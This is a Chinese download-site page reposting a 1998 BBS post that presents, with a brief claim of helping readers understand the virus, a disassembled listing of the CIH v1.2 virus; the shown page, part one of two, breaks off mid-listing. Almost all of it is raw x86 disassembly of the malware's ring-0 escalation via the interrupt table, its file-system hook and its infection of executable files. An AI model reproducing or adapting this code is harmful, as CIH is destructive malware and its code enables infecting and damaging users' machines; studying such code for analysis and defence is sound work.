⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih v1-2的反汇编后的源代码.txt

📁 该文件夹里面重点描述了CIH病毒的源码和原理
💻 TXT
📖 第 1 页 / 共 2 页
字号:
发信人: TBsoft (TBsoft), 信区: Virus 

标  题: CIH v1.2的反汇编后的源代码[转载] 

发信站: 武汉白云黄鹤站 (Mon Oct 26 16:06:46 1998) , 站内信件 

  

发信人: boschyan (糊涂的爱), 信区: Virus 

标 题: CIH v1.2的反汇编后的原程序 

发信站: BBS 水木清华站 (Mon Oct 26 16:10:52 1998) WWW-POST 

  

  

希望各位大虾看看下面的CIH病毒程序 

以消除对他的恐惧。增加免疫能力。 

  

  

: 00401000 55                      push ebp 

: 00401001 8D4424F8                lea eax, dword ptr [esp-08] 

: 00401005 33DB                    xor ebx, ebx 

: 00401007 648703                  xchg dword ptr fs:[ebx], eax 

: 0040100A E800000000              call 0040100F 

: 0040100F 5B                      pop ebx 

: 00401010 8D4B42                  lea ecx, dword ptr [ebx+42] 

: 00401013 51                      push ecx 

: 00401014 50                      push eax 

: 00401015 50                      push eax 

: 00401016 0F014C24FE              sidt [esp-02] 

: 0040101B 5B                      pop ebx 

: 0040101C 83C31C                  add ebx, 0000001C 

: 0040101F FA                      cli 

: 00401020 8B2B                    mov ebp, dword ptr [ebx] 

: 00401022 668B6BFC                mov bp, word ptr [ebx-04] 

: 00401026 8D7112                  lea esi, dword ptr [ecx+12] 

: 00401029 56                      push esi 

: 0040102A 668973FC                mov word ptr [ebx-04], si 

: 0040102E C1EE10                  shr esi, 10 

: 00401031 66897302                mov word ptr [ebx+02], si 

: 00401035 5E                      pop esi 

: 00401036 CC                      int 03 

: 00401037 56                      push esi 

: 00401038 8BF0                    mov esi, eax 

: 0040103A 8B48FC                  mov ecx, dword ptr [eax-04] 

: 0040103D F3                      repz 

: 0040103E A4                      movsb 

: 0040103F 83E808                  sub eax, 00000008 

: 00401042 8B30                    mov esi, dword ptr [eax] 

: 00401044 0BF6                    or esi, esi 

: 00401046 7402                    je 0040104A 

: 00401048 EBF0                    jmp 0040103A 

: 0040104A 5E                      pop esi 

: 0040104B CC                      int 03 

: 0040104C FB                      sti 

: 0040104D 33DB                    xor ebx, ebx 

: 0040104F EB07                    jmp 00401058 

: 00401051 33DB                    xor ebx, ebx 

: 00401053 648B03                  mov eax, dword ptr fs:[ebx] 

: 00401056 8B20                    mov esp, dword ptr [eax] 

: 00401058 648F03                  pop dword ptr fs:[ebx] 

: 0040105B 58                      pop eax 

: 0040105C 5D                      pop ebp 

: 0040105D 6850370201              push 01023750 

: 00401062 C3                      ret 

  

  

: 00401063 7432                    je 00401097 

: 00401065 0F                      BYTE 0fh 

: 00401066 21C1                    and ecx, eax 

: 00401068 E310                    jcxz 0040107A 

: 0040106A 83042415                add dword ptr [esp], 00000015 

: 0040106E 66896BFC                mov word ptr [ebx-04], bp 

: 00401072 C1ED10                  shr ebp, 10 

: 00401075 66896B02                mov word ptr [ebx+02], bp 

: 00401079 CF                      iret 

: 0040107A 0F                      BYTE 0fh 

: 0040107B 23C3                    and eax, ebx 

: 0040107D 6A0F                    push 0000000F 

: 0040107F 51                      push ecx 

: 00401080 6AFF                    push FFFFFFFF 

: 00401082 51                      push ecx 

: 00401083 51                      push ecx 

: 00401084 51                      push ecx 

: 00401085 6A01                    push 00000001 

: 00401087 6A02                    push 00000002 

: 00401089 CD20                    int 20 

: 0040108B 53                      push ebx 

: 0040108C 0001                    add byte ptr [ecx], al 

: 0040108E 0083C420978D            add byte ptr [ebx+8D9720C4], al 

: 00401094 46                      inc esi 

: 00401095 9D                      popfd 

: 00401096 CF                      iret 

: 00401097 8D87F7FCFFFF            lea eax, dword ptr [edi+FFFFFCF7] 

: 0040109D 50                      push eax 

: 0040109E CD20                    int 20 

: 004010A0 67004000                add [bx+si+00], al 

: 004010A4 0F                      BYTE 0fh 

: 004010A5 23C0                    and eax, eax 

: 004010A7 58                      pop eax 

: 004010A8 8B4E3D                  mov ecx, dword ptr [esi+3D] 

: 004010AB 8B11                    mov edx, dword ptr [ecx] 

: 004010AD 8950FC                  mov dword ptr [eax-04], edx 

: 004010B0 8D40D6                  lea eax, dword ptr [eax-2A] 

: 004010B3 8901                    mov dword ptr [ecx], eax 

: 004010B5 FA                      cli 

: 004010B6 EBB6                    jmp 0040106E 

: 004010B8 53                      push ebx 

: 004010B9 E800000000              call 004010BE 

  

* Referenced by a CALL at Address: 

|:004010B9 

| 

: 004010BE 5B                      pop ebx 

: 004010BF 83C324                  add ebx, 00000024 

: 004010C2 53                      push ebx 

: 004010C3 CD20                    int 20 

: 004010C5 6800400058              push 58004000 

: 004010CA FF742408                push [esp+08] 

: 004010CE FF53FC                  call [ebx-04] 

: 004010D1 59                      pop ecx 

: 004010D2 50                      push eax 

: 004010D3 53                      push ebx 

: 004010D4 FF53FC                  call [ebx-04] 

: 004010D7 59                      pop ecx 

: 004010D8 0F                      BYTE 0fh 

: 004010D9 23C0                    and eax, eax 

: 004010DB 58                      pop eax 

: 004010DC 5B                      pop ebx 

: 004010DD C3                      ret 

: 004010DE C09201C060E800          rcl byte ptr [edx+E860C001], 00 

: 004010E5 000000                  BYTE  3 DUP(0) 

: 004010E8 5E                      pop esi 

: 004010E9 81C603030000            add esi, 00000303 

: 004010EF F60601                  test byte ptr [esi], 01 

: 004010F2 0F85F0010000            jne 004012E8 

: 004010F8 8D5C2428                lea ebx, dword ptr [esp+28] 

: 004010FC 833B24                  cmp dword ptr [ebx], 00000024 

: 004010FF 0F85DD010000            jne 004012E2 

: 00401105 FE06                    inc byte ptr [esi] 

: 00401107 83C605                  add esi, 00000005 

: 0040110A 56                      push esi 

: 0040110B 8A4304                  mov al, byte ptr [ebx+04] 

: 0040110E 3CFF                    cmp al, FF 

: 00401110 7408                    je 0040111A 

: 00401112 0440                    add al, 40 

: 00401114 B43A                    mov ah, 3A 

: 00401116 8906                    mov dword ptr [esi], eax 

: 00401118 46                      inc esi 

: 00401119 46                      inc esi 

: 0040111A 6A00                    push 00000000 

: 0040111C 6A7F                    push 0000007F 

: 0040111E 8B5B10                  mov ebx, dword ptr [ebx+10] 

: 00401121 8B430C                  mov eax, dword ptr [ebx+0C] 

: 00401124 83C004                  add eax, 00000004 

: 00401127 50                      push eax 

: 00401128 56                      push esi 

: 00401129 CD20                    int 20 

: 0040112B 41                      inc ecx 

: 0040112C 004000                  add byte ptr [eax+00], al 

: 0040112F 83C410                  add esp, 00000010 

: 00401132 817C06FC2E455845        cmp dword ptr [esi+eax-04], 4558452E 

: 0040113A 5E                      pop esi 

: 0040113B 0F859E010000            jne 004012DF 

: 00401141 66837B1801              cmp word ptr [ebx+18], 0001 

: 00401146 0F8593010000            jne 004012DF 

: 0040114C 66B80043                mov ax, 4300 

: 00401150 CD20                    int 20 

: 00401152 3200                    xor al, byte ptr [eax] 

: 00401154 40                      inc eax 

: 00401155 000F                    add byte ptr [edi], cl 

: 00401157 8283010000518B          add byte ptr [ebx+51000001], 8B 

: 0040115E BE62FDFFFF              mov esi, FFFFFD62 

: 00401163 8B3F                    mov edi, dword ptr [edi] 

: 00401165 F6C101                  test cl, 01 

: 00401168 7408                    je 00401172 

: 0040116A 66B80143                mov ax, 4301 

: 0040116E 33C9                    xor ecx, ecx 

: 00401170 FFD7                    call edi 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:00401168(C) 

| 

: 00401172 33C0                    xor eax, eax 

: 00401174 B4D5                    mov ah, D5 

: 00401176 33C9                    xor ecx, ecx 

: 00401178 33D2                    xor edx, edx 

: 0040117A 42                      inc edx 

: 0040117B 8BDA                    mov ebx, edx 

: 0040117D 43                      inc ebx 

: 0040117E FFD7                    call edi 

: 00401180 93                      xchg eax,ebx 

: 00401181 59                      pop ecx 

: 00401182 9C                      pushfd 

: 00401183 F6C101                  test cl, 01 

: 00401186 7406                    je 0040118E 

: 00401188 66B80143                mov ax, 4301 

: 0040118C FFD7                    call edi 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:00401186(C) 

| 

: 0040118E 9D                      popfd 

: 0040118F 0F824A010000            jb 004012DF 

: 00401195 56                      push esi 

: 00401196 9C                      pushfd 

: 00401197 83C67F                  add esi, 0000007F 

: 0040119A 33C0                    xor eax, eax 

: 0040119C B4D6                    mov ah, D6 

: 0040119E 8BE8                    mov ebp, eax 

: 004011A0 33C9                    xor ecx, ecx 

: 004011A2 B104                    mov cl, 04 

: 004011A4 33D2                    xor edx, edx 

: 004011A6 B23C                    mov dl, 3C 

: 004011A8 FFD7                    call edi 

: 004011AA 8B16                    mov edx, dword ptr [esi] 

: 004011AC 4A                      dec edx 

: 004011AD 8BC5                    mov eax, ebp 

: 004011AF FFD7                    call edi 

: 004011B1 813E00504500            cmp dword ptr [esi], 00455000 

: 004011B7 0F850A010000            jne 004012C7 

: 004011BD 53                      push ebx 

: 004011BE 6A00                    push 00000000 

  

* Possible Reference to String Resource ID=00001: "Ave" 

                                  | 

: 004011C0 6A01                    push 00000001 

: 004011C2 52                      push edx 

: 004011C3 57                      push edi 

: 004011C4 0F                      BYTE 0fh 

: 004011C5 23CC                    and ecx, esp 

: 004011C7 50                      push eax 

: 004011C8 8BC5                    mov eax, ebp 

: 004011CA B152                    mov cl, 52 

: 004011CC 83C207                  add edx, 00000007 

: 004011CF FFD7                    call edi 

: 004011D1 8D4222                  lea eax, dword ptr [edx+22] 

: 004011D4 50                      push eax 

: 004011D5 8D06                    lea eax, dword ptr [esi] 

: 004011D7 50                      push eax 

: 004011D8 0FB7460E                movzx eax, word ptr [esi+0E] 

: 004011DC 8D541012                lea edx, dword ptr [eax+edx+12] 

: 004011E0 B028                    mov al, 28 

: 004011E2 8A0E                    mov cl, byte ptr [esi] 

: 004011E4 F6E1                    mul cl 

: 004011E6 8D7632                  lea esi, dword ptr [esi+32] 

: 004011E9 50                      push eax 

: 004011EA 52                      push edx 

: 004011EB 56                      push esi 

: 004011EC 41                      inc ecx 

: 004011ED 51                      push ecx 

: 004011EE C1E103                  shl ecx, 03 

: 004011F1 51                      push ecx 

: 004011F2 03C8                    add ecx, eax 

: 004011F4 03CA                    add ecx, edx 

: 004011F6 2B4E1C                  sub ecx, dword ptr [esi+1C] 

: 004011F9 737D                    jnb 00401278 

: 004011FB F7D1                    not ecx 

: 004011FD 41                      inc ecx 

: 004011FE 6681F9B800              cmp cx, 00B8 

: 00401203 7273                    jb 00401278 

: 00401205 51                      push ecx 

: 00401206 91                      xchg eax,ecx 

: 00401207 8B46F0                  mov eax, dword ptr [esi-10] 

: 0040120A 0346FC                  add eax, dword ptr [esi-04] 

: 0040120D 8986BDFBFFFF            mov dword ptr [esi+FFFFFBBD], eax 

: 00401213 8BC5                    mov eax, ebp 

: 00401215 FFD7                    call edi 

: 00401217 5B                      pop ebx 

: 00401218 5F                      pop edi 

: 00401219 59                      pop ecx 

: 0040121A 57                      push edi 

: 0040121B 03D0                    add edx, eax 

: 0040121D 52                      push edx 

: 0040121E 03C6                    add eax, esi 

: 00401220 50                      push eax 

: 00401221 8D4438FC                lea eax, dword ptr [eax+edi-04] 

: 00401225 8918                    mov dword ptr [eax], ebx 

: 00401227 53                      push ebx 

: 00401228 03D7                    add edx, edi 

: 0040122A 52                      push edx 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -